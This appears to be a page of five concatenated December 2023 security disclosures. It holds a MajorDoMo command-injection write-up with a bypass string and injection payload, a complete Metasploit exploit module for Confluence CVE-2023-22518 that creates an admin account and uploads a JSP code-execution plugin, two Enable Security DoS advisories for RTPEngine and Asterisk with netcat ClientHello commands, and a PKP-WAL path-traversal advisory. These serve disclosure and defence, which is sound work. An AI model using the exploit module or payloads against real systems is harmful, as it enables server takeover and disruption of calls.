<pre><code>**Introduction**<br /><br />MajorDoMo, a beacon in Russian home automation and particularly favored by Raspberry Pi aficionados, has been a trusted name for over a decade. With over 380 stars on its official GitHub repository at the time of writing (https://github.com/sergejey/majordomo), its popularity is evident. However, lurking within its `thumb.php` module is a severe unauthenticated Remote Code Execution (RCE) vulnerability before 0662e5e.<br />NOTE: this is unrelated to the Majordomo mailing-list manager.<br /><br />**Disclosure Timeline:**<br /><br />- October 28, 2023: Initial discovery of the vulnerability (CVE-2023-50917).<br />- October 29, 2023: Contacted MajorDoMo team detailing the vulnerability.<br />- November 6, 2023: After no response from MajorDoMo's team for over a week, submitted a CVE request to the appropriate CNA.<br />- November 14, 2023: New attempt to contact the MajorDoMo team. Received a response from the team within a few hours. The patch has been applied.<br />- December 15, 2023: Public disclosure of CVE-2023-50917.<br /><br />**Technical Background: The Vulnerable Code**<br /><br />The script `/modules/thumb/thumb.php` is primarily designed for thumbnail generation in MajorDoMo. It serves to facilitate the creation of thumbnails from various media sources. But within this benign purpose lies a significant vulnerability:<br /><br />**Key Code Snippets and Analysis:**<br /><br />1. **URL Decoding:**<br />PHP code: $url = base64_decode($url);<br />The script takes a base64 encoded `url` parameter and decodes it. This decoding process is pivotal, as it allows attackers to obfuscate their payloads, skirting around simple checks.<br /><br />2. **Pattern Checks:**<br />PHP code: if (preg_match('/^rtsp:/is', $url) || preg_match('/\/dev/', $url)) { ... }<br />The script then checks if the decoded `url` adheres to specific patterns (`rtsp:` or `/dev`). This is a rudimentary check to decide whether to process the URL. With the help of base64 encoding, it becomes trivial for attackers to bypass this verification.<br /><br />3. **Direct Command Construction:**<br />PHP code: if ($_GET['transport']) { $stream_options = '-rtsp_transport ' . $_GET['transport'] . ' ' . $stream_options; }<br />Here lies the crux of the vulnerability. The `transport` parameter is taken directly and embedded within a system command without adequate sanitization. This glaring oversight allows for arbitrary command injections. By crafting the `transport` parameter, an attacker can introduce and execute arbitrary commands. The subsequent command is executed via the `exec` function, which poses a significant security risk.<br /><br />**The Core Vulnerability**<br /><br />The vulnerability's essence is the unchecked and unsanitized user input (from the `transport` parameter) that gets directly incorporated into a system command. This allows attackers to run arbitrary commands on the server, potentially taking full control of the MajorDoMo instance.<br /><br />**Exploitation Avenues:**<br /><br />1. **Bypassing URL Validation:**<br />The script's initial validation checks for patterns such as `rtsp:` or `/dev`. By using base64 encoded strings like `cnRzcDovL2EK` (decoding to `rtsp://a`), these checks can be easily bypassed.<br /><br />2. **Command Injection via the `transport` Parameter:**<br />The `transport` parameter is used directly within a system command. With no sanitization in place, this can be exploited for command injections, leading to RCE. For instance, the command `||echo; echo $(command_here)` can be used to break out of the intended command and execute any arbitrary command.<br /><br />**Potential Impact**<br /><br />The severity of this RCE vulnerability is high. Given MajorDoMo's integral role in home automation, successful exploitation can result in an attacker compromising physical security systems, gaining access to surveillance cameras, or even taking control of other connected IoT devices.<br /><br />**Recommendations for Mitigation**<br /><br />- Thorough Input Validation: It is essential to rigorously validate all inputs. This can prevent malicious payloads from being processed.<br />- Sanitize Before Execution: Inputs should be sanitized before being incorporated into any system commands.<br />- Limit Direct Command Execution: Prefer using built-in PHP functions or secure APIs over direct system command execution.<br /><br />**Conclusion**<br /><br />This vulnerability underscores the importance of thorough code reviews and robust input validation. Even established software projects like MajorDoMo are not immune to critical vulnerabilities. The discovery serves as a reminder of the ever-present need for diligence and a proactive approach to security in all software development stages.<br /><br />Please refer to https://nvd.nist.gov/vuln/detail/CVE-2023-50917<br /><br />Valentin Lobstein<br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version<br /> include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',<br /> 'Description' => %q{<br /> This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a<br /> Confluence instance administrator account. Using this account, an attacker can then perform all<br /> administrative actions that are available to Confluence instance administrator. This module uses the<br /> administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code<br /> execution on the target in the context of the of the user running the confluence server.<br /> },<br /> 'Author' => [<br /> 'Atlassian', # Discovery<br /> 'jheysel-r7' # msf module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],<br /> [ 'CVE', '2023-22518']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Java',<br /> {<br /> 'Platform' => 'java',<br /> 'Arch' => [ARCH_JAVA]<br /> },<br /> ]<br /> ],<br /> 'DisclosureDate' => '2023-10-31',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE, ],<br /> 'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials<br /> 'Reliability' => [ REPEATABLE_SESSION, ]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> Opt::RPORT(8090),<br /> OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),<br /> OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),<br /> # The endpoint we target to trigger the vulnerability.<br /> OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),<br /> # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.<br /> OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> confluence_version = get_confluence_version<br /> return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version<br /><br /> # Confluence Server and Confluence Data Center have the same vulnerable version ranges.<br /> if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||<br /> confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||<br /> confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||<br /> confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||<br /> confluence_version == Rex::Version.new('8.6.0')<br /> return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")<br /> end<br /><br /> Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")<br /> end<br /><br /> # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html<br /> def generate_hash(password)<br /> salt = OpenSSL::Random.random_bytes(16)<br /> iterations = 10000<br /> digest = OpenSSL::Digest.new('SHA1')<br /><br /> key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)<br /> salted_key = salt + key<br /> encoded_hash = Base64.strict_encode64(salted_key)<br /><br /> '{PKCS5S2}' + encoded_hash<br /> end<br /><br /> def create_zip<br /> zip_file = Rex::Zip::Archive.new<br /><br /> # exportDescriptor.properties needs to be present in the zip file in order for it to be valid.<br /> export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))<br /> zip_file.add_file('exportDescriptor.properties', export_descriptor)<br /><br /> entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))<br /> entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)<br /> entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])<br /> entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))<br /><br /> zip_file.add_file('entities.xml', entities_xml)<br /> zip_file.pack<br /> end<br /><br /> def upload_backup<br /> zip_file = create_zip<br /> post_data = Rex::MIME::Message.new<br /> post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')<br /> post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')<br /> post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")<br /><br /> data = post_data.to_s<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),<br /> 'method' => 'POST',<br /> 'data' => data,<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'X-Atlassian-Token' => 'no-check'<br /> },<br /> 'vars_get' => {<br /> 'synchronous' => 'true'<br /> }<br /> }, 120)<br /><br /> fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200<br /> print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")<br /> end<br /><br /> def exploit<br /> print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")<br /><br /> # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password<br /> upload_backup<br /><br /> # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.<br /> payload_endpoint = rand_text_alphanumeric(8)<br /> plugin_key = rand_text_alpha(8)<br /> begin<br /> payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)<br /> upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])<br /> trigger_payload_plugin(payload_endpoint)<br /> ensure<br /> delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])<br /> end<br /> end<br />end<br /></code></pre>
<pre><code># RTPEngine susceptible to Denial of Service via DTLS Hello packets during call initiation<br /><br />- Fixed versions: mr12.1.1.2, mr12.0.1.3, mr11.5.1.16, mr10.5.6.3, mr10.5.6.2<br />- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-03-rtpengine-dtls-hello-race<br />- Vendor Patch: https://github.com/sipwise/rtpengine/commit/e969a79428ac4a15cdf1c0a1c6f266dbdc7e60b6<br />- Tested vulnerable versions: mr11.5.1.6<br />- Timeline:<br /> - Report date: 2023-10-02<br /> - Triaged: 2023-10-02<br /> - Fix provided for testing: 2023-11-16<br /> - Enable Security verified fix: 2023-12-14<br /> - Vendor release with fix: 2023-12-14<br /> - Enable Security advisory: 2023-12-15<br /><br />## TL;DR<br /><br />When handling DTLS-SRTP for media setup, RTPEngine is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS encrypted calls during the attack.<br /><br />## Description<br /><br />Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the RTPEngine server that is expecting packets from the caller, the media session is torn down.<br /><br />This behavior was tested against RTPEngine version mr11.5.1.6, which was found to be vulnerable to this issue.<br /><br />The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a UAC (the Caller), Kamailio and an RTPEngine server capable of handling WebRTC calls.<br /><br />Diagram showing a call setup against RTPEngine that uses SIP, STUN and DTLS:<br />https://github.com/EnableSecurity/advisories/raw/master/ES2023-03-rtpengine-dtls-hello-race/resources/valid.png<br /><br />In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to RTPEngine's media port from a different IP and port, RTPEngine gave an internal error and did not process the call any longer.<br /><br />Diagram showing a call setup against RTPEngine that fails due to an attacker controlled DTLS ClientHello:<br />https://github.com/EnableSecurity/advisories/raw/master/ES2023-03-rtpengine-dtls-hello-race/resources/dos.png<br /><br />During a real attack, the attacker would spray a vulnerable RTPEngine server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, RTPEngine terminates the media session resulting in Denial of Service.<br /><br />The following log shows that RTPEngine resets the DTLS connection context:<br /><br />```<br />DEBUG: [... port 39910]: [ice] Received ICE/STUN response code 0 for candidate pair TUk2hmDhRdEwbjA1:6249488300:1 from 192.168.1.202:56083 to 192.168.1.202<br />DEBUG: [... port 39910]: [ice] Setting ICE candidate pair TUk2hmDhRdEwbjA1:6249488300:1 as succeeded<br />DEBUG: [... port 39910]: [ice] Best succeeded ICE pair with all components is TUk2hmDhRdEwbjA1:6249488300:1<br />DEBUG: [... port 39910]: [ice] ICE not completed yet, but can use pair TUk2hmDhRdEwbjA1:6249488300:1<br />INFO: [... port 39910]: [ice] ICE negotiated: peer for component 1 is 192.168.1.202:56083<br />INFO: [... port 39910]: [ice] ICE negotiated: local interface 192.168.1.202<br />DEBUG: [... port 39910]: [srtp] Processing incoming DTLS packet<br />ERR: [... port 39910]: [crypto] DTLS error: 1 (no shared cipher)<br />ERR: [... port 39910]: [srtp] DTLS error on local port 39910<br />DEBUG: [... port 39910]: [crypto] Resetting DTLS connection context<br />```<br /><br />## Impact<br /><br />Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable RTPEngine servers for calls that rely on DTLS-SRTP. In practice, this results in all new calls appearing to be on mute.<br /><br />## How to reproduce the issue<br /><br />1. Run an RTPEngine instance with the following command:<br /><br /> ```bash<br /> rtpengine -f \<br /> --interface=<interface> \<br /> --listen-ng="<listen-ng>" \<br /> --pidfile=<pidfile> \<br /> --port-min=35000 \<br /> --port-max=40000 \<br /> --log-stderr \<br /> --log-level=10<br /> ```<br />1. Run a Kamailio instance with the following configuration:<br /><br /> ```bash<br /> debug=2<br /> log_stderror=yes<br /><br /> memdbg=5<br /> memlog=5<br /><br /> log_facility=LOG_LOCAL0<br /><br /> loadmodule "pv.so"<br /> loadmodule "xlog.so"<br /> loadmodule "rtpengine.so"<br /> loadmodule "sl.so"<br /> loadmodule "tm.so"<br /> loadmodule "textops.so"<br /> loadmodule "siputils.so"<br /><br /> modparam("rtpengine", "rtpengine_sock", "udp:<listen-ng>")<br /><br /> alias="<alias>"<br /><br /> request_route {<br /> xlog("L_INFO","$su\n");<br /><br /> if ($rm == "INVITE") {<br /> $avp(caller_source)="$si:$sp";<br /> }<br /><br /> if ($avp(caller_source) == "$si:$sp") {<br /> if ($rm == "INVITE") {<br /> rewritehostport("192.168.1.202:9999");<br /> rtpengine_manage("replace-origin replace-session-connection pad-crypto RTP/SAVPF ICE=force");<br /><br /> t_relay();<br /> }<br /> break;<br /> } else {<br /> xlog("L_INFO","got a request from callee [$rm]\n");<br /> break;<br /> }<br /> }<br /><br /> onreply_route{<br /> if ($avp(caller_source) != "$si:$sp") {<br /> if (!is_request()) {<br /> xlog("L_INFO","got a reply from callee [$rs $rr]\n");<br /> if has_body("application/sdp") {<br /> rtpengine_manage("replace-origin replace-session-connection pad-crypto RTP/SAVPF ICE=force");<br /> }<br /> }<br /> exit;<br /> }<br /> }<br /> ```<br /><br />1. Send an INVITE message to Kamailio with WebRTC SDP:<br /><br /> ```default<br /> INVITE sip:1000@192.168.1.202 SIP/2.0<br /> Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-jQcnXJadB2VGfGmQ<br /> Max-Forwards: 70<br /> From: <sip:1000@192.168.1.202>;tag=L9kc5NfpYG1u67cT<br /> To: <sip:1000@192.168.1.202><br /> Contact: <sip:1000@192.168.1.202><br /> Call-ID: DzGnBLt0z9SK3MC0<br /> CSeq: 5 INVITE<br /> Content-Type: application/sdp<br /> Content-Length: 385<br /><br /> v=0<br /> o=- 1695296331 1695296331 IN IP4 192.168.1.202<br /> s=-<br /> t=0 0<br /> c=IN IP4 192.168.1.202<br /> m=audio 45825 UDP/TLS/RTP/SAVPF 0 8 101<br /> a=setup:active<br /> a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3<br /> a=rtpmap:0 PCMU/8000/1<br /> a=rtpmap:8 PCMA/8000/1<br /> a=rtpmap:101 telephone-event/8000<br /> a=rtcp-mux<br /> a=rtcprsize<br /> a=sendrecv<br /> ```<br />1. Note RTPEngine's media port and IP values, which will be used as the `<rtpengine-ip>` and `<media-port>` parameters by the Attacker<br />1. Send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the RTPEngine server<br /><br /> ```bash<br /> CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" <br /> CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"<br /> CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"<br /> CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"<br /> CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="<br /> echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <rtpengine-ip> <media-port><br /> ```<br />1. Observe that RTPEngine reports that the DTLS context has been reset<br /><br />## Solution and recommendations<br /><br />To address this vulnerability, upgrade RTPEngine to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.<br /><br /><br />## About Enable Security<br /><br />[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.<br /><br />## Disclaimer<br /><br />The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.<br /><br />## Disclosure policy<br /><br />This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.<br /><br />[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764<br /><br />--<br /> <br /> Sandro Gauci, CEO at Enable Security GmbH<br /><br /> Register of Companies: AG Charlottenburg HRB 173016 B<br /> Company HQ: Neuburger Straße 101 b, 94036 Passau, Germany<br /> RTCSec Newsletter: https://www.rtcsec.com/subscribe<br /> Our blog: https://www.rtcsec.com<br /> Other points of contact: https://www.enablesecurity.com/contact/<br /></code></pre>
<pre><code>---------------------------------------------------------------------------------<br />PKP-WAL <= 3.4.0-3 (NativeImportExportPlugin) Remote Code Execution<br />Vulnerability<br />---------------------------------------------------------------------------------<br /><br /><br />[-] Software Links:<br /><br />https://pkp.sfu.ca<br />https://github.com/pkp/pkp-lib<br /><br /><br />[-] Affected Versions:<br /><br />PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-3<br />and prior versions, as used in Open Journal Systems (OJS), Open<br />Monograph Press (OMP), and Open Preprint Systems (OPS) before versions<br />3.4.0-4 or 3.3.0-16.<br /><br /><br />[-] Vulnerabilities Description:<br /><br />The vulnerability is located in the<br />/plugins/importexport/native/filter/PKPNativeFilterHelper.php script.<br />Specifically, into the<br />"PKPNativeFilterHelper::parsePublicationCover()" method:<br /><br />100. public function parsePublicationCover($filter, $node, $object)<br />101. {<br />102. $deployment = $filter->getDeployment();<br />103.<br />104. $context = $deployment->getContext();<br />105.<br />106. $locale = $node->getAttribute('locale');<br />107. if (empty($locale)) {<br />108. $locale = $context->getPrimaryLocale();<br />109. }<br />110.<br />111. $coverImagelocale = [];<br />112. $coverImage = [];<br />113.<br />114. for ($n = $node->firstChild; $n !== null; $n = $n->nextSibling) {<br />115. if ($n instanceof DOMElement) {<br />116. switch ($n->tagName) {<br />117. case 'cover_image':<br />118. $coverImage['uploadName'] = $n->textContent;<br />119. break;<br />120. case 'cover_image_alt_text':<br />121. $coverImage['altText'] = $n->textContent;<br />122. break;<br />123. case 'embed':<br />124. $publicFileManager = new PublicFileManager();<br />125. $filePath =<br />$publicFileManager->getContextFilesPath($context->getId()) . '/' .<br />$coverImage['uploadName'];<br />126. file_put_contents($filePath,<br />base64_decode($n->textContent));<br />127. break;<br /><br />User input passed through the cover image tags of the import XML file<br />is not properly sanitized before being used at line 118 to construct a<br />variable, which is later used as the final part of the filepath used<br />in a call to the file_put_contents() PHP function at line 126. This<br />can be exploited to write/overwrite arbitrary files on the web server<br />via Path Traversal sequences, leading to execution of arbitrary PHP<br />code.<br /><br />Successful exploitation of this vulnerability requires an account with<br />permissions to access the "Import/Export" plugin, such as a Journal<br />Editor or Production Editor user.<br /><br /><br />[-] Solution:<br /><br />Upgrade to version 3.4.0-4 or later.<br /><br /><br />[-] Disclosure Timeline:<br /><br />[14/10/2023] - Vendor notified<br />[26/10/2023] - Vendor fixed the issue and opened a public GitHub<br />issue: https://github.com/pkp/pkp-lib/issues/9464<br />[05/11/2023] - CVE identifier assigned<br />[17/11/2023] - Version 3.4.0-4 released<br />[14/12/2023] - Publication of this advisory<br /><br /><br />[-] CVE Reference:<br /><br />The Common Vulnerabilities and Exposures project (cve.mitre.org)<br />has assigned the name CVE-2023-47271 to this vulnerability.<br /><br /><br />[-] Credits:<br /><br />Vulnerability discovered by Egidio Romano.<br /><br /><br />[-] Original Advisory:<br /><br />http://karmainsecurity.com/KIS-2023-14<br /></code></pre>
<pre><code># Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation<br /><br />- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6<br />- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race<br />- Vendor Security Advisory: https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq<br />- Other references: CVE-2023-49786<br />- Tested vulnerable versions: 20.1.0<br />- Timeline:<br /> - Report date: 2023-09-27<br /> - Triaged: 2023-09-27<br /> - Fix provided for testing: 2023-11-09<br /> - Vendor release with fix: 2023-12-14<br /> - Enable Security advisory: 2023-12-15<br /><br />## TL;DR<br /><br />When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack.<br /><br />## Description<br /><br />Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the Asterisk server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too.<br /><br />This behavior was tested against Asterisk version 20.1.0, which was found to be vulnerable to this issue.<br /><br />The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a UAC (the Caller) and an Asterisk server capable of handling WebRTC calls.<br /><br />Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS: https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png<br /><br />In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to Asterisk's media port from a different IP and port, Asterisk responded by sending a DTLS Alert to the Caller. Additionally, Asterisk terminated the SIP call by sending a BYE message to the Caller.<br /><br />Diagram showing a call setup against Asterisk that fails due to an attacker controlled DTLS ClientHello:<br />https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png<br /><br />During a real attack, the attacker would spray a vulnerable Asterisk server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of Service.<br /><br />## Impact<br /><br />Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP.<br /><br />## How to reproduce the issue<br /><br />1. Prepare an Asterisk server with an extension configured to handle WebRTC; this may involve the following `pjsip.conf` and `extensions.conf` configuration updates:<br /><br /> `pjsip.conf`<br /> ```ini<br /> [transport-tls-nat]<br /> type = transport<br /> protocol = wss<br /> bind = 172.17.0.2<br /><br /> [webrtc_client]<br /> type=aor<br /> max_contacts=5<br /> remove_existing=yes<br /><br /> [webrtc_client]<br /> type=auth<br /> auth_type=userpass<br /> username=3456<br /> password=3456<br /><br /> [3456]<br /> type=endpoint<br /> aors=webrtc_client<br /> auth=webrtc_client<br /> dtls_auto_generate_cert=yes<br /> webrtc=yes<br /> context=default<br /> disallow=all<br /> allow=opus,ulaw<br /> ```<br /><br /> `extensions.conf`<br /> ```ini<br /> [globals]<br /><br /> [default]<br /> exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.")<br /> same => n,Playback(demo-congrats)<br /> same => n,Hangup()<br /> ```<br />1. Send an INVITE message to the target server with WebRTC SDP:<br /><br /> ```default<br /> INVITE sip:1000@192.168.1.202 SIP/2.0<br /> Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU<br /> Max-Forwards: 70<br /> From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4<br /> To: <sip:1000@192.168.1.202><br /> Contact: <sip:3456@192.168.1.202><br /> Call-ID: VaglTzNRBSuvPPdw<br /> CSeq: 5 INVITE<br /> Content-Type: application/sdp<br /> Content-Length: 563<br /><br /> v=0<br /> o=- 1695296401 1695296401 IN IP4 192.168.1.202<br /> s=-<br /> t=0 0<br /> c=IN IP4 192.168.1.202<br /> m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101<br /> a=setup:active<br /> a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3<br /> a=rtpmap:0 PCMU/8000/1<br /> a=rtpmap:8 PCMA/8000/1<br /> a=rtpmap:101 telephone-event/8000<br /> a=ice-ufrag:IOZyOSQkVywevryI<br /> a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr<br /> a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host generation 0<br /> a=end-of-candidates<br /> a=rtcp-mux<br /> a=rtcprsize<br /> a=sendrecv<br /><br /> ```<br />1. Note Asterisk's media port and IP values, which will be used as the `<asterisk-ip>` and `<media-port>` parameters by the Attacker<br />1. When the call has been established, send a STUN binding request which has the appropriate Username, Message-Integrity and Ice-Controlled properties<br />1. When the Binding Success Response message is received, send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the Asterisk server<br /><br /> ```bash<br /> CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" <br /> CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"<br /> CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"<br /> CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"<br /> CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="<br /> echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip> <media-port><br /> ```<br />1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message on its signaling channel<br /><br />Note that the above steps are used to reliably reproduce the vulnerability. In the case of a real attack, the attacker simply has to spray the Asterisk server with DTLS messages.<br /><br /><br />## Solution and recommendations<br /><br />To address this vulnerability, upgrade Asterisk to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.<br /><br />## About Enable Security<br /><br />[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.<br /><br />## Disclaimer<br /><br />The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.<br /><br />## Disclosure policy<br /><br />This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.<br /><br />[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764<br /><br /><br />--<br /> <br /> Sandro Gauci, CEO at Enable Security GmbH<br /><br /> Register of Companies: AG Charlottenburg HRB 173016 B<br /> Company HQ: Neuburger Straße 101 b, 94036 Passau, Germany<br /> RTCSec Newsletter: https://www.rtcsec.com/subscribe<br /> Our blog: https://www.rtcsec.com<br /> Other points of contact: https://www.enablesecurity.com/contact/<br /></code></pre>
